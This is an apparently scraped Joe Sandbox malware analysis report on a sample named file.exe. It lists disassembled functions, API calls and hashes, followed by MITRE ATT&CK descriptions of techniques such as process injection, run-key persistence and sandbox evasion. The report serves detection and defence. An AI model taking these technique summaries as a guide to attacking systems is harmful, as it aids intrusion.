API String ID: 1273765764-0
Opcode ID: da4bc00c7ae1d23eecce1492ef476764353cfb85bcf844c9ad0217d8cc464016
Instruction ID: 52ca2960b6ed243101f4d4c154a7a2fdd1e8dd9d84df55b378b7c70774ffd499
Opcode Fuzzy Hash: da4bc00c7ae1d23eecce1492ef476764353cfb85bcf844c9ad0217d8cc464016
Instruction Fuzzy Hash: 0C11A361E0868681FA606761F458FB9F350FB88BA4FA00231CA6E077D5CE3CD049C762

Function 00007FF78CA63680 Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00007FF78CA636C3
SetWindowTextA.USER32 ref: 00007FF78CA636DE
SetDlgItemTextA.USER32 ref: 00007FF78CA636F3
SetForegroundWindow.USER32 ref: 00007FF78CA636FC
EndDialog.USER32 ref: 00007FF78CA63709

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: Window$Text$DesktopDialogForegroundItem
String ID:
API String ID: 761066910-0
Opcode ID: 7b0a0afc9afeab9cd489da0c529037e52088d876d79330b77116ab0ab807e242
Instruction ID: 7bc6adfa896b18a33fb6c22e65f52eca3b31e09f94d8986c2142418f4dfdeb32
Opcode Fuzzy Hash: 7b0a0afc9afeab9cd489da0c529037e52088d876d79330b77116ab0ab807e242
Instruction Fuzzy Hash: 57010CE8E1D20285FA95BB65B808EB9F651BB45B80FF45031C81E163D4DE6CE48AC623

Function 00007FF78CA67110 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 00007FF78CA671BB
WriteFile.KERNEL32 ref: 00007FF78CA671EC
CloseHandle.KERNEL32 ref: 00007FF78CA6720B

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF78CA67142

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 1065093856-305352358
Opcode ID: bb505d493274340a96934ae67f5122787252b17ade4607be8a2e18294568c83c
Instruction ID: 99a45231d2332580957d5335bf7ae736dbe5e100d2d614695705dc21ee17332c
Opcode Fuzzy Hash: bb505d493274340a96934ae67f5122787252b17ade4607be8a2e18294568c83c
Instruction Fuzzy Hash: 2131957271C68186EB519F20F844FAAB760FB497A4FA40235DA5D47794CF7CD448CB21

Function 00007FF78CA65814 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

#20.CABINET ref: 00007FF78CA6588D
#21.CABINET ref: 00007FF78CA658C6
#23.CABINET ref: 00007FF78CA658FA

Strings

*MEMCAB, xrefs: 00007FF78CA658A0

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID:
String ID: *MEMCAB
API String ID: 0-3211172518
Opcode ID: 6afdfd805b350688c3602c957db617d8632adc9201ddbe5db9da4816f6311d69
Instruction ID: a768b940b04f8c09e5510df74dd6fe4ce950fc85147a150713223dcb19ab5a99
Opcode Fuzzy Hash: 6afdfd805b350688c3602c957db617d8632adc9201ddbe5db9da4816f6311d69
Instruction Fuzzy Hash: 55314331A08B4685EB50AB51F444FA9B3E1BF047A4FE00635E96D42390DF3EE445C762

Function 00007FF78CA67C20 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF78CA67C93
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF78CA67CB2
RtlVirtualUnwind.KERNEL32 ref: 00007FF78CA67CFF
__raise_securityfailure.LIBCMT ref: 00007FF78CA67DE4

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
String ID:
API String ID: 140117192-0
Opcode ID: 3705a83dead617d7ec271545f917a4e3987cacfa7ba11eb70581d06d55b83e20
Instruction ID: 5b15de60e06fb1cd05f633239e03eeb270a16478fe806bc6532ca49f8af6c484
Opcode Fuzzy Hash: 3705a83dead617d7ec271545f917a4e3987cacfa7ba11eb70581d06d55b83e20
Instruction Fuzzy Hash: D5411975A18B4281EB50AB28F890F65F3A4FB88748FE00136DA8D83764DF3DE544C722

Function 00007FF78CA67304 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32 ref: 00007FF78CA6732E
LoadResource.KERNEL32 ref: 00007FF78CA6733F
DialogBoxIndirectParamA.USER32 ref: 00007FF78CA6736F
FreeResource.KERNEL32 ref: 00007FF78CA6737B

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: Resource$DialogFindFreeIndirectLoadParam
String ID:
API String ID: 1214682469-0
Opcode ID: 8af9f5df09fb230a588841b58d700163d72a1dc5bf7f8989bca99a4abbe73bfe
Instruction ID: db8d8db0ab917a66713fd7c93e37c598e76ce2e1fba145099c314b48d1c55672
Opcode Fuzzy Hash: 8af9f5df09fb230a588841b58d700163d72a1dc5bf7f8989bca99a4abbe73bfe
Instruction Fuzzy Hash: 9C115E65B18B4182EA50AB12F404E6AF261FB59FE4FA80634EE9D07BD4DF3CE440CA10

Function 00007FF78CA67DF8 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF78CA67E03
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF78CA67E22
RtlVirtualUnwind.KERNEL32 ref: 00007FF78CA67E6F
__raise_securityfailure.LIBCMT ref: 00007FF78CA67EE5

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
String ID:
API String ID: 140117192-0
Opcode ID: 04fa2115b3eb68aec4ea8641280f1283d8aa92b6bb6640a1a0ecb199eb4784e3
Instruction ID: fd0b06efbb68a62f60ad82ef6aa1adc31ef6027a3bc44878903cf9140a30fd6d
Opcode Fuzzy Hash: 04fa2115b3eb68aec4ea8641280f1283d8aa92b6bb6640a1a0ecb199eb4784e3
Instruction Fuzzy Hash: B821E535918B4181E740AB54F880F69F3B4FB88B48FA00036DA8D43764DF7DE144C722

Function 00007FF78CA6745C Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

CharPrevA.USER32(?,?,00000000,00007FF78CA628CD), ref: 00007FF78CA67480
CharPrevA.USER32(?,?,00000000,00007FF78CA628CD), ref: 00007FF78CA67496
CharPrevA.USER32(?,?,00000000,00007FF78CA628CD), ref: 00007FF78CA674B4
CharNextA.USER32(?,?,00000000,00007FF78CA628CD), ref: 00007FF78CA674C2

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: Char$Prev$Next
String ID:
API String ID: 3260447230-0
Opcode ID: 8f04076bf7384626d75a864c6dfc3af67e08eec1412e220a3fe757313dad08a7
Instruction ID: 5976a2b84187f4a5d02d5f601f07809a7796b1816fd1a2491e4e6dd5f0758955
Opcode Fuzzy Hash: 8f04076bf7384626d75a864c6dfc3af67e08eec1412e220a3fe757313dad08a7
Instruction Fuzzy Hash: 99018891E1998141FB516B21F94CE79FA91BB49FF0F984230DA6E46785CE1CD481C722

Function 00007FF78CA63908 Relevance: 6.0, APIs: 4, Instructions: 39windowCOMMON

Download Yara Rule

APIs

MsgWaitForMultipleObjects.USER32 ref: 00007FF78CA6392C
PeekMessageA.USER32 ref: 00007FF78CA6394B
DispatchMessageA.USER32 ref: 00007FF78CA63968
PeekMessageA.USER32 ref: 00007FF78CA63983

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: Message$Peek$DispatchMultipleObjectsWait
String ID:
API String ID: 2776232527-0
Opcode ID: 3aee720f3c8c46dcd25b27dd5854f200cc9db310b4e25a0c757932c117ee5bc3
Instruction ID: a4f28c09d0b462a003368645aaa400e4c9032bd5cf76b33f64c416043b9a796c
Opcode Fuzzy Hash: 3aee720f3c8c46dcd25b27dd5854f200cc9db310b4e25a0c757932c117ee5bc3
Instruction Fuzzy Hash: 59018B33A2824283F7A0AB70F894F7AB2A0FB94304FA05131D64A42894DF2CD049CF21

Analysis Process: powershell.exePID: 7692, Parent PID: 7532COMMON

Executed Functions

Function 00007FFD9B77443C Relevance: 1.7, Instructions: 1704COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1790767353.00007FFD9B770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b770000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7d09c75a19d6b70d0d3360b9ce0c706ff0bf728a98193307a58ebaa323562c2
Instruction ID: 7ef9eedeab0db632997e53277faf41b2b9b5ae9aa61e63f78d71d50534b30c6c
Opcode Fuzzy Hash: c7d09c75a19d6b70d0d3360b9ce0c706ff0bf728a98193307a58ebaa323562c2
Instruction Fuzzy Hash: 51B22662B0EB894FE766976848A55B87BE1EF56310B0A02FFD09DC70F3DA58AD05C341

Function 00007FFD9B58EB80 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1789597009.00007FFD9B58D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B58D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b58d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55a241829fe4b7cf888059f1848f840fb7dd6007db1b1c94da8e3c2685000e7b
Instruction ID: 26f623e049763d1aa4fe80ea01a77ddb5ab8b197926bc0cab068b181a11e64f2
Opcode Fuzzy Hash: 55a241829fe4b7cf888059f1848f840fb7dd6007db1b1c94da8e3c2685000e7b
Instruction Fuzzy Hash: 7F41277180EFC85FE7A68B3898559623FF0EF52321B1605DFD089CB1B3D625A846C792

Function 00007FFD9B6AB868 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1790157002.00007FFD9B6A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B6A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b6a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c52967043bbed9e031889cbbef16dfb0098c4893a58c50c8dc8df30b5dbd060a
Instruction ID: 5c04ae042f7502d42ca10c4165aa983dcaa6a8f137cccb1cf144b86f828a5d3d
Opcode Fuzzy Hash: c52967043bbed9e031889cbbef16dfb0098c4893a58c50c8dc8df30b5dbd060a
Instruction Fuzzy Hash: 53212930A0C64C4FDB58DF9C984A7F97BE0EB96321F04426BD449C3152DB74A456CB91

Function 00007FFD9B774D8F Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1790767353.00007FFD9B770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b770000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d03fc431eb9394e28de8b4c5b3896a7ae720e4f3d74fd68f3239e7c95adbbf0d
Instruction ID: b0367e61ec3fe76b8e2949c8952d0158199ca7050c94b4e732e84b57e2ac7174
Opcode Fuzzy Hash: d03fc431eb9394e28de8b4c5b3896a7ae720e4f3d74fd68f3239e7c95adbbf0d
Instruction Fuzzy Hash: FA21D122B0FB8A5FE7B58A9C54E057876D1EF41320B5A02BED19DC71F2DE68ED108345

Function 00007FFD9B77508C Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1790767353.00007FFD9B770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b770000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eab65dc9ca01c88a3a6ec79c1a2ab9589eeada2077efe39fa5aabd508cd7d2cd
Instruction ID: 73b59c5b4f145797eb08dbbb6941d853713698961419e0b7d3113e98f82dee4f
Opcode Fuzzy Hash: eab65dc9ca01c88a3a6ec79c1a2ab9589eeada2077efe39fa5aabd508cd7d2cd
Instruction Fuzzy Hash: E411BF32A1F78A4FEBB497A884B55B87BD1EF45220B1A01FAD05DC70B6D959AD00C381

Function 00007FFD9B6A33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1790157002.00007FFD9B6A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B6A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b6a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction ID: 5f39243c8871ca8ac99d834a9ec411487eac882a2992f40c2ac1fa39a235b252
Opcode Fuzzy Hash: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction Fuzzy Hash: 4E01A73020CB0C4FDB48EF0CE051AA6B3E0FB85364F10056EE58AC36A1DA32E882CB41

Function 00007FFD9B773694 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1790767353.00007FFD9B770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b770000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 215a8ea6971142996ee5a6eeb25addf76bc55e891dc9d3e18520628e4b10651d
Instruction ID: e86e75d8048e8f09eea58fc6d40b1978e729f51659c311379c175d01312bed26
Opcode Fuzzy Hash: 215a8ea6971142996ee5a6eeb25addf76bc55e891dc9d3e18520628e4b10651d
Instruction Fuzzy Hash: 28F0A73131CF044FD744EE1DD845661B3D1FBA8310F10452FE449C3651DA21E4818782

Function 00007FFD9B6AB6C8 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1790157002.00007FFD9B6A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B6A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b6a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a29648edd71550309da54c618057294d244bfec9c293f414c54fe28d4e21e08
Instruction ID: 9b0fbcc137afa66d9c5c0b31cd22e96bccb30397924e866c772ec2e1fe2be359
Opcode Fuzzy Hash: 1a29648edd71550309da54c618057294d244bfec9c293f414c54fe28d4e21e08
Instruction Fuzzy Hash: B5E09235404A8C8FCF54DF28C8194E97FE0FF69214B05029AE86DC7171DB30A658CBC2

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Operating System Destruction

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

